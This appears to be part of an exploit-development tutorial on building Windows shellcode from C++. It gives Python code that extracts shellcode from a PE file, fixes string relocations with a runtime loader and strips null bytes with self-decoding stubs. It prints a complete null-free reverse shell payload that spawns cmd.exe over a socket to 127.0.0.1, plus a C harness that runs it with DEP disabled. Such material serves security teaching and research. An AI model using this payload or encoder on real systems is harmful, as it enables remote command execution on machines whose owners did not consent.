12345678910111213141516171819202122232425262728293031| def
get\_shellcode\_len\(map\_file\): ''' Gets the length of the shellcode by
analyzing map\_file \(map produced by VS 2013\) ''' try: with open\(map\_file,
'r'\) as f: lib\_object = None shellcode\_len = None for line in f: parts =
line.split\(\) if lib\_object is not None: if parts\[-1\] == lib\_object:
raise Exception\('\_main is not the last function of %s' % lib\_object\) else:
break elif \(len\(parts\) > 2 and parts\[1\] == '\_main'\): \# Format: \#
0001:00000274 \_main 00401274 f shellcode.obj shellcode\_len =
int\(parts\[0\].split\(':'\)\[1\], 16\) lib\_object = parts\[-1\] if
shellcode\_len is None: raise Exception\('Cannot determine shellcode length'\)
except IOError: print\('\[\!\] get\_shellcode\_len: Cannot open "%s"' %
map\_file\) return None except Exception as e: print\('\[\!\]
get\_shellcode\_len: %s' % e.message\) return None return shellcode\_len  
---|---  
### extracting the shellcode

This part is very easy. We know the shellcode length and that the shellcode is
located at the beginning of the .text section. Here’s the code:

1234567891011121314151617181920212223242526| def
get\_shellcode\_and\_relocs\(exe\_file, shellcode\_len\): ''' Extracts the
shellcode from the .text section of the file exe\_file and the string
relocations. Returns the triple \(shellcode, relocs, addr\_to\_strings\). '''
try: \# Extracts the shellcode. pe = pefile.PE\(exe\_file\) shellcode = None
rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': if
s.SizeOfRawData < shellcode\_len: raise Exception\('.text section too small'\)
shellcode\_start = s.VirtualAddress shellcode\_end = shellcode\_start +
shellcode\_len shellcode = pe.get\_data\(s.VirtualAddress, shellcode\_len\)
elif s.Name == '.rdata\0\0': <snip> if shellcode is None: raise
Exception\('.text section not found'\) if rdata is None: raise
Exception\('.rdata section not found'\)<snip>  
---|---  
I use the module pefile \(download\) which is quite intuitive to use. The
relevant part is the body of the if.

### strings and .rdata

As we said before, our C/C++ code may contain strings. For instance, our
shellcode contains the following line:

1| My\_CreateProcessA\(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL,
&sInfo, &procInfo\);  
---|---  
The string cmd.exe is located in the .rdata section, a read-only section
containing initialized data. The code refers to that string using an absolute
address:

[code]

    00241152 50                   push        eax  
    00241153 8D 44 24 5C          lea         eax,[esp+5Ch]  
    00241157 C7 84 24 88 00 00 00 00 01 00 00 mov         dword ptr [esp+88h],100h  
    00241162 50                   push        eax  
    00241163 52                   push        edx  
    00241164 52                   push        edx  
    00241165 52                   push        edx  
    00241166 6A 01                push        1  
    00241168 52                   push        edx  
    00241169 52                   push        edx  
    0024116A 68 18 21 24 00       push        242118h         <------------------------
    0024116F 52                   push        edx  
    00241170 89 B4 24 C0 00 00 00 mov         dword ptr [esp+0C0h],esi  
    00241177 89 B4 24 BC 00 00 00 mov         dword ptr [esp+0BCh],esi  
    0024117E 89 B4 24 B8 00 00 00 mov         dword ptr [esp+0B8h],esi  
    00241185 FF 54 24 34          call        dword ptr [esp+34h]
[/code]

As we can see, the absolute address for cmd.exe is 242118h. Note that the
address is part of a push instruction and is located at 24116Bh. If we examine
the file cmd.exe with a file editor, we see the following:

[code]

    56A: 68 18 21 40 00           push        000402118h
[/code]

where 56Ah is the offset in the file. The corresponding virtual address \(i.e.
in memory\) is 40116A because the image base is 400000h. This is the preferred
address at which the executable should be loaded in memory. The absolute
address in the instruction, 402118h, is correct if the executable is loaded at
the preferred base address. However, if the executable is loaded at a
different base address, the instruction needs to be fixed. How can the Windows
loader know what locations of the executable contains addresses which need to
be fixed? The PE file contains a Relocation Directory, which in our case
points to the .reloc section. This contains all the RVAs of the locations that
need to be fixed.

We can inspect this directory and look for addresses of locations that

  1. are contained in the shellcode \(i.e. go from .text:0 to the main function excluded\),
  2. contains pointers to data in .rdata.

For example, the Relocation Directory will contain, among many other
addresses, the address 40116Bh which locates the last four bytes of the
instruction push 402118h. These bytes form the address 402118h which points to
the string cmd.exe contained in .rdata \(which starts at address 402000h\).

Let’s look at the function get\_shellcode\_and\_relocs. In the first part we
extract the .rdata section:

1234567891011121314151617181920212223| def
get\_shellcode\_and\_relocs\(exe\_file, shellcode\_len\): ''' Extracts the
shellcode from the .text section of the file exe\_file and the string
relocations. Returns the triple \(shellcode, relocs, addr\_to\_strings\). '''
try: \# Extracts the shellcode. pe = pefile.PE\(exe\_file\) shellcode = None
rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': <snip> elif
s.Name == '.rdata\0\0': rdata\_start = s.VirtualAddress rdata\_end =
rdata\_start + s.Misc\_VirtualSize rdata = pe.get\_data\(rdata\_start,
s.Misc\_VirtualSize\) if shellcode is None: raise Exception\('.text section
not found'\) if rdata is None: raise Exception\('.rdata section not found'\)  
---|---  
The relevant part is the body of the elif.

In the second part of the same function, we analyze the relocations, find the
locations within our shellcode and extract from .rdata the null-terminated
strings referenced by those locations.

As we already said, we’re only interested in locations contained in our
shellcode. Here’s the relevant part of the function
get\_shellcode\_and\_relocs:

123456789101112131415161718|  \# Extracts the relocations for the shellcode
and the referenced strings in .rdata. relocs = \[\] addr\_to\_strings = \{\}
for rel\_data in pe.DIRECTORY\_ENTRY\_BASERELOC: for entry in
rel\_data.entries\[:-1\]: \# the last element's rvs is the base\_rva \(why?\)
if shellcode\_start <= entry.rva < shellcode\_end: \# The relocation location
is inside the shellcode. relocs.append\(entry.rva - shellcode\_start\) \#
offset relative to the start of shellcode string\_va =
pe.get\_dword\_at\_rva\(entry.rva\) string\_rva = string\_va -
pe.OPTIONAL\_HEADER.ImageBase if string\_rva < rdata\_start or string\_rva >=
rdata\_end: raise Exception\('shellcode references a section other than
.rdata'\) str = get\_cstring\(rdata, string\_rva - rdata\_start\) if str is
None: raise Exception\('Cannot extract string from .rdata'\)
addr\_to\_strings\[string\_va\] = str return \(shellcode, relocs,
addr\_to\_strings\)  
---|---  
pe.DIRECTORY\_ENTRY\_BASERELOC is a list of data structures which contain a
field named entries which is a list of relocations. First we check that the
current relocation is within the shellcode. If it is, we do the following:

  1. we append to relocs the offset of the relocation relative to the start of the shellcode;
  2. we extract from the shellcode the DWORD located at the offset just found and check that this DWORD points to data in .rdata;
  3. we extract from .rdata the null-terminated string whose starting location we found in \(2\);
  4. we add the string to addr\_to\_strings.

Note that:

  1. relocs contains the offsets of the relocations within shellcode, i.e. the offsets of the DWORDs within shellcode that need to be fixed so that they point to the strings;
  2. addr\_to\_strings is a dictionary that associates the addresses found in \(2\) above to the actual strings.

### adding the loader to the shellcode

The idea is to add the strings contained in addr\_to\_strings to the end of
our shellcode and then to make the code in our shellcode reference those
strings. Unfortunately, the code→strings linking must be done at runtime
because we don’t know the starting address of the shellcode. To do this, we
need to prepend a sort of “loader” which fixes the shellcode at runtime.
Here’s the structure of our shellcode after the transformation:  
<img src='img/ZeT7tdZ.png' width='377' height='393' alt='pic_a1' />

offX are DWORDs which point to the locations in the original shellcode that
need to be fixed. The loader will fix these locations so that they point to
the correct strings strX.

To see exactly how things work, try to understand the following code:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152|
def add\_loader\_to\_shellcode\(shellcode, relocs, addr\_to\_strings\): if
len\(relocs\) == 0: return shellcode \# there are no relocations \# The format
of the new shellcode is: \# call here \# here: \# ... \# shellcode\_start: \#
<shellcode> \(contains offsets to strX \(offset are from "here" label\)\) \#
relocs: \# off1|off2|... \(offsets to relocations \(offset are from "here"
label\)\) \# str1|str2|... delta = 21 \# shellcode\_start - here \# Builds the
first part \(up to and not including the shellcode\). x =
dword\_to\_bytes\(delta + len\(shellcode\)\) y =
dword\_to\_bytes\(len\(relocs\)\) code = \[ 0xE8, 0x00, 0x00, 0x00, 0x00, \#
CALL here \# here: 0x5E, \# POP ESI 0x8B, 0xFE, \# MOV EDI, ESI 0x81, 0xC6,
x\[0\], x\[1\], x\[2\], x\[3\], \# ADD ESI, shellcode\_start +
len\(shellcode\) - here 0xB9, y\[0\], y\[1\], y\[2\], y\[3\], \# MOV ECX,
len\(relocs\) 0xFC, \# CLD \# again: 0xAD, \# LODSD 0x01, 0x3C, 0x07, \# ADD
\[EDI+EAX\], EDI 0xE2, 0xFA \# LOOP again \# shellcode\_start: \] \# Builds
the final part \(offX and strX\). offset = delta + len\(shellcode\) +
len\(relocs\) \* 4 \# offset from "here" label final\_part =
\[dword\_to\_string\(r + delta\) for r in relocs\] addr\_to\_offset = \{\} for
addr in addr\_to\_strings.keys\(\): str = addr\_to\_strings\[addr\]
final\_part.append\(str\) addr\_to\_offset\[addr\] = offset offset +=
len\(str\) \# Fixes the shellcode so that the pointers referenced by relocs
point to the \# string in the final part. byte\_shellcode = \[ord\(c\) for c
in shellcode\] for off in relocs: addr =
bytes\_to\_dword\(byte\_shellcode\[off:off+4\]\) byte\_shellcode\[off:off+4\]
= dword\_to\_bytes\(addr\_to\_offset\[addr\]\) return ''.join\(\[chr\(b\) for
b in \(code + byte\_shellcode\)\]\) + ''.join\(final\_part\)  
---|---  
Let’s have a look at the loader:

12345678910111213141516|  CALL here ; PUSH EIP+5; JMP here here: POP ESI ; ESI
= address of "here" MOV EDI, ESI ; EDI = address of "here" ADD ESI,
shellcode\_start + len\(shellcode\) - here ; ESI = address of off1 MOV ECX,
len\(relocs\) ; ECX = number of locations to fix CLD ; tells LODSD to go
forwards again: LODSD ; EAX = offX; ESI += 4 ADD \[EDI+EAX\], EDI ; fixes
location within shellcode LOOP again ; DEC ECX; if ECX > 0 then JMP again
shellcode\_start: <shellcode> relocs: off1|off2|... str1|str2|...  
---|---  
The first CALL is used to get the absolute address of here in memory. The
loader uses this information to fix the offsets within the original shellcode.
ESI points to off1 so LODSD is used to read the offsets one by one. The
instruction

[code]

    ADD [EDI+EAX], EDI
[/code]

fixes the locations within the shellcode. EAX is the current offX which is the
offset of the location relative to here. This means that EDI+EAX is the
absolute address of that location. The DWORD at that location contains the
offset to the correct string relative to here. By adding EDI to that DWORD, we
turn the DWORD into the absolute address to the string. When the loader has
finished, the shellcode, now fixed, is executed.

To conclude, it should be said that add\_loader\_to\_shellcode is called only
if there are relocations. You can see that in the main function:

1234567891011| <snip> if len\(relocs\) \!= 0: print\('Found %d reference\(s\)
to %d string\(s\) in .rdata' % \(len\(relocs\), len\(addr\_to\_strings\)\)\)
print\('Strings:'\) for s in addr\_to\_strings.values\(\): print\(' ' +
s\[:-1\]\) print\(''\) shellcode = add\_loader\_to\_shellcode\(shellcode,
relocs, addr\_to\_strings\) else: print\('No relocations found'\)<snip>  
---|---  
### Removing null-bytes from the shellcode \(I\)

After relocations, if any, have been handled, it’s time to deal with the null
bytes present in the shellcode. As we’ve already said, we need to remove them.
To do that, I wrote two functions:

  1. get\_fixed\_shellcode\_single\_block
  2. get\_fixed\_shellcode

The first function doesn’t always work but produces shorter code so it should
be tried first. The second function produces longer code but is guaranteed to
work.

Let’s start with get\_fixed\_shellcode\_single\_block. Here’s the function
definition:

123456789101112131415161718192021222324252627282930313233343536| def
get\_fixed\_shellcode\_single\_block\(shellcode\): ''' Returns a version of
shellcode without null bytes or None if the shellcode can't be fixed. If this
function fails, use get\_fixed\_shellcode\(\). ''' \# Finds one non-null byte
not present, if any. bytes = set\(\[ord\(c\) for c in shellcode\]\)
missing\_bytes = \[b for b in range\(1, 256\) if b not in bytes\] if
len\(missing\_bytes\) == 0: return None \# shellcode can't be fixed
missing\_byte = missing\_bytes\[0\] \(xor1, xor2\) =
get\_xor\_values\(len\(shellcode\)\) code = \[ 0xE8, 0xFF, 0xFF, 0xFF, 0xFF,
\# CALL $ + 4 \# here: 0xC0, \# \(FF\)C0 = INC EAX 0x5F, \# POP EDI 0xB9,
xor1\[0\], xor1\[1\], xor1\[2\], xor1\[3\], \# MOV ECX, <xor value 1 for
shellcode len> 0x81, 0xF1, xor2\[0\], xor2\[1\], xor2\[2\], xor2\[3\], \# XOR
ECX, <xor value 2 for shellcode len> 0x83, 0xC7, 29, \# ADD EDI,
shellcode\_begin - here 0x33, 0xF6, \# XOR ESI, ESI 0xFC, \# CLD \# loop1:
0x8A, 0x07, \# MOV AL, BYTE PTR \[EDI\] 0x3C, missing\_byte, \# CMP AL,
<missing byte> 0x0F, 0x44, 0xC6, \# CMOVE EAX, ESI 0xAA, \# STOSB 0xE2, 0xF6
\# LOOP loop1 \# shellcode\_begin: \] return ''.join\(\[chr\(x\) for x in
code\]\) + shellcode.replace\('\0', chr\(missing\_byte\)\)  
---|---  
The idea is very simple. We analyze the shellcode byte by byte and see if
there is a missing value, i.e. a byte value which doesn’t appear anywhere in
the shellcode. Let’s say this value is 0x14. We can now replace every 0x00 in
the shellcode with 0x14. The shellcode doesn’t contain null bytes anymore but
can’t run because was modified. The last step is to add some sort of decoder
to the shellcode that, at runtime, will restore the null bytes before the
original shellcode is executed. You can see that code defined in the array
code:

12345678910111213141516|  CALL $ + 4 ; PUSH "here"; JMP "here"-1here: \(FF\)C0
= INC EAX ; not important: just a NOP POP EDI ; EDI = "here" MOV ECX, <xor
value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> ; ECX =
shellcode length ADD EDI, shellcode\_begin - here ; EDI = absolute address of
original shellcode XOR ESI, ESI ; ESI = 0 CLD ; tells STOSB to go
forwardsloop1: MOV AL, BYTE PTR \[EDI\] ; AL = current byte of the shellcode
CMP AL, <missing byte> ; is AL the special byte? CMOVE EAX, ESI ; if AL is the
special byte, then EAX = 0 STOSB ; overwrite the current byte of the shellcode
with AL LOOP loop1 ; DEC ECX; if ECX > 0 then JMP loop1shellcode\_begin:  
---|---  
There are a couple of important details to discuss. First of all, this code
can’t contain null bytes itself, because then we’d need another piece of code
to remove them <img src='img/9711_1f642.svg' width='16' height='16' alt='🙂' />

As you can see, the CALL instruction doesn’t jump to here because otherwise
its opcode would’ve been

[code]

    E8 00 00 00 00               #   CALL here
[/code]

which contains four null bytes. Since the CALL instruction is 5 bytes, CALL
here is equivalent to CALL $+5. The trick to get rid of the null bytes is to
use CALL $+4:

[code]

    E8 FF FF FF FF               #   CALL $+4
[/code]

That CALL skips 4 bytes and jmp to the last FF of the CALL itself. The CALL
instruction is followed by the byte C0, so the instruction executed after the
CALL is INC EAX which corresponds to FF C0. Note that the value pushed by the
CALL is still the absolute address of the here label.

There’s a second trick in the code to avoid null bytes:

12| MOV ECX, <xor value 1 for shellcode len>XOR ECX, <xor value 2 for
shellcode len>  
---|---  
We could have just used

1| MOV ECX, <shellcode len>  
---|---  
but that would’ve produced null bytes. In fact, for a shellcode of length
0x400, we would’ve had

[code]

    B9 00 04 00 00        MOV ECX, 400h
[/code]

which contains 3 null bytes.

To avoid that, we choose a non-null byte which doesn’t appear in 00000400h.
Let’s say we choose 0x01. Now we compute

<xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h  
<xor value 2 for shellcode len> = 01010101h

The net result is that <xor value 1 for shellcode len> and <xor value 2 for
shellcode len> are both null-byte free and, when xored, produce the original
value 400h.

Our two instructions become:

[code]

    B9 01 05 01 01        MOV ECX, 01010501h
    81 F1 01 01 01 01     XOR ECX, 01010101h
[/code]

The two xor values are computed by the function get\_xor\_values.

Having said that, the code is easy to understand: it just walks through the
shellcode byte by byte and overwrites with null bytes the bytes which contain
the special value \(0x14, in our previous example\).

### Removing null-bytes from the shellcode \(II\)

The method above can fail because we could be unable to find a byte value
which isn’t already present in the shellcode. If that happens, we need to use
get\_fixed\_shellcode, which is a little more complex.

The idea is to divide the shellcode into blocks of 254 bytes. Note that each
block must have a “missing byte” because a byte can have 255 non-zero values.
We could choose a missing byte for each block and handle each block
individually. But that wouldn’t be very space efficient, because for a
shellcode of 254\*N bytes we would need to store N “missing bytes” before or
after the shellcode \(the decoder needs to know the missing bytes\). A more
clever approach is to use the same “missing byte” for as many 254-byte blocks
as possible. We start from the beginning of the shellcode and keep taking
blocks until we run out of missing bytes. When this happens, we remove the
last block from the previous chunk and begin with a new chunk starting from
this last block. In the end, we will have a list of <missing\_byte,
num\_blocks> pairs:

[code]

    [(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
[/code]

I decided to restrict num\_blocksX to a single byte, so num\_blocksX is
between 1 and 255.

Here’s the part of get\_fixed\_shellcode which splits the shellcode into
chunks:

12345678910111213141516171819202122232425262728293031323334353637| def
get\_fixed\_shellcode\(shellcode\): ''' Returns a version of shellcode without
null bytes. This version divides the shellcode into multiple blocks and should
be used only if get\_fixed\_shellcode\_single\_block\(\) doesn't work with
this shellcode. ''' \# The format of bytes\_blocks is \# \[missing\_byte1,
number\_of\_blocks1, \# missing\_byte2, number\_of\_blocks2, ...\] \# where
missing\_byteX is the value used to overwrite the null bytes in the \#
shellcode, while number\_of\_blocksX is the number of 254-byte blocks where \#
to use the corresponding missing\_byteX. bytes\_blocks = \[\] shellcode\_len =
len\(shellcode\) i = 0 while i < shellcode\_len: num\_blocks = 0
missing\_bytes = list\(range\(1, 256\)\) \# Tries to find as many 254-byte
contiguous blocks as possible which misses at \# least one non-null value.
Note that a single 254-byte block always misses at \# least one non-null
value. while True: if i >= shellcode\_len or num\_blocks == 255: bytes\_blocks
+= \[missing\_bytes\[0\], num\_blocks\] break bytes = set\(\[ord\(c\) for c in
shellcode\[i:i+254\]\]\) new\_missing\_bytes = \[b for b in missing\_bytes if
b not in bytes\] if len\(new\_missing\_bytes\) \!= 0: \# new block added
missing\_bytes = new\_missing\_bytes num\_blocks += 1 i += 254 else: bytes +=
\[missing\_bytes\[0\], num\_blocks\] break<snip>  
---|---  
Like before, we need to discuss the “decoder” which is prepended to the
shellcode. This decoder is a bit longer than the previous one but the
principle is the same.

Here’s the code:

123456789101112131415161718192021222324252627282930313233| code = \(\[ 0xEB,
len\(bytes\_blocks\)\] + \# JMP SHORT skip\_bytes \# bytes: bytes\_blocks + \[
\# ... \# skip\_bytes: 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, \# CALL $ + 4 \# here:
0xC0, \# \(FF\)C0 = INC EAX 0x5F, \# POP EDI 0xB9, xor1\[0\], xor1\[1\],
xor1\[2\], xor1\[3\], \# MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1,
xor2\[0\], xor2\[1\], xor2\[2\], xor2\[3\], \# XOR ECX, <xor value 2 for
shellcode len> 0x8D, 0x5F, -\(len\(bytes\_blocks\) + 5\) & 0xFF, \# LEA EBX,
\[EDI + \(bytes - here\)\] 0x83, 0xC7, 0x30, \# ADD EDI, shellcode\_begin -
here \# loop1: 0xB0, 0xFE, \# MOV AL, 0FEh 0xF6, 0x63, 0x01, \# MUL AL, BYTE
PTR \[EBX+1\] 0x0F, 0xB7, 0xD0, \# MOVZX EDX, AX 0x33, 0xF6, \# XOR ESI, ESI
0xFC, \# CLD \# loop2: 0x8A, 0x07, \# MOV AL, BYTE PTR \[EDI\] 0x3A, 0x03, \#
CMP AL, BYTE PTR \[EBX\] 0x0F, 0x44, 0xC6, \# CMOVE EAX, ESI 0xAA, \# STOSB
0x49, \# DEC ECX 0x74, 0x07, \# JE shellcode\_begin 0x4A, \# DEC EDX 0x75,
0xF2, \# JNE loop2 0x43, \# INC EBX 0x43, \# INC EBX 0xEB, 0xE3 \# JMP loop1
\# shellcode\_begin:\]\)  
---|---  
bytes\_blocks is the array

[code]

    [missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
[/code]

we talked about before, but without pairs.

Note that the code starts with a JMP SHORT which skips bytes\_blocks. For this
to work len\(bytes\_blocks\) must be less than or equal to 0x7F. But as you
can see, len\(bytes\_blocks\) appears in another instruction as well:

1| 0x8D, 0x5F, -\(len\(bytes\_blocks\) + 5\) & 0xFF, \# LEA EBX, \[EDI +
\(bytes - here\)\]  
---|---  
This requires that len\(bytes\_blocks\) is less than or equal to 0x7F – 5, so
this is the final condition. This is what happens if the condition is
violated:

123|  if len\(bytes\_blocks\) > 0x7f - 5: \# Can't assemble "LEA EBX, \[EDI +
\(bytes-here\)\]" or "JMP skip\_bytes". return None  
---|---  
Let’s review the code in more detail:

12345678910111213141516171819202122232425262728293031|  JMP SHORT
skip\_bytesbytes: ...skip\_bytes: CALL $ + 4 ; PUSH "here"; JMP "here"-1here:
\(FF\)C0 = INC EAX ; not important: just a NOP POP EDI ; EDI = absolute
address of "here" MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value
2 for shellcode len> ; ECX = shellcode length LEA EBX, \[EDI + \(bytes -
here\)\] ; EBX = absolute address of "bytes" ADD EDI, shellcode\_begin - here
; EDI = absolute address of the shellcodeloop1: MOV AL, 0FEh ; AL = 254 MUL
AL, BYTE PTR \[EBX+1\] ; AX = 254 \* current num\_blocksX = num bytes MOVZX
EDX, AX ; EDX = num bytes of the current chunk XOR ESI, ESI ; ESI = 0 CLD ;
tells STOSB to go forwardsloop2: MOV AL, BYTE PTR \[EDI\] ; AL = current byte
of shellcode CMP AL, BYTE PTR \[EBX\] ; is AL the missing byte for the current
chunk? CMOVE EAX, ESI ; if it is, then EAX = 0 STOSB ; replaces the current
byte of the shellcode with AL DEC ECX ; ECX -= 1 JE shellcode\_begin ; if ECX
== 0, then we're done\! DEC EDX ; EDX -= 1 JNE loop2 ; if EDX \!= 0, then we
keep working on the current chunk INC EBX ; EBX += 1 \(moves to next pair...
INC EBX ; EBX += 1 ... missing\_bytes, num\_blocks\) JMP loop1 ; starts
working on the next chunkshellcode\_begin:  
---|---  
## Testing the script

This is the easy part\! If we run the script without any arguments it says:

[code]

    Shellcode Extractor by Massimiliano Tomassoli (2015)
     
    Usage:
      sce.py <exe file> <map file>
[/code]

If you remember, we told the linker of VS 2013 to also produce a map file.
Just call the script with the path to the exe file and the path to the map
file. Here’s what we get for our reverse shell:

[code]

    Shellcode Extractor by Massimiliano Tomassoli (2015)
    
    Extracting shellcode length from "mapfile"...
    shellcode length: 614
    Extracting shellcode from "shellcode.exe" and analyzing relocations...
    Found 3 reference(s) to 3 string(s) in .rdata
    Strings:
      ws2_32.dll
      cmd.exe
      127.0.0.1
    
    Fixing the shellcode...
    final shellcode length: 715
    
    char shellcode[] =
    "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
    "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
    "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
    "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
    "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
    "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
    "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
    "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
    "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
    "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
    "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
    "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
    "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
    "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
    "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
    "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
    "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
    "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
    "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
    "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
    "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
    "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
    "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
    "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
    "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
    "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
    "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
    "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
    "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
    "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
    "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
    "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
    "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
    "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
    "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
    "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
    "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
    "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
    "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
    "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
    "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
    "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
    "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
    "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
    "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
[/code]

The part about relocations is very important, because you can check if
everything is OK. For example, we know that our reverse shell uses 3 strings
and they were all correctly extracted from the .rdata section. We can see that
the original shellcode was 614 bytes and the resulting shellcode \(after
handling relocations and null bytes\) is 715 bytes.

Now we need to run the resulting shellcode in some way. The script gives us
the shellcode in C/C++ format, so we just need to copy and paste it in a small
C/C++ file. Here’s the complete source code:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061|
\#include <cstring>\#include <cassert> // Important: Disable DEP\!//
\(Linker->Advanced->Data Execution Prevention = NO\) void main\(\) \{ char
shellcode\[\] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
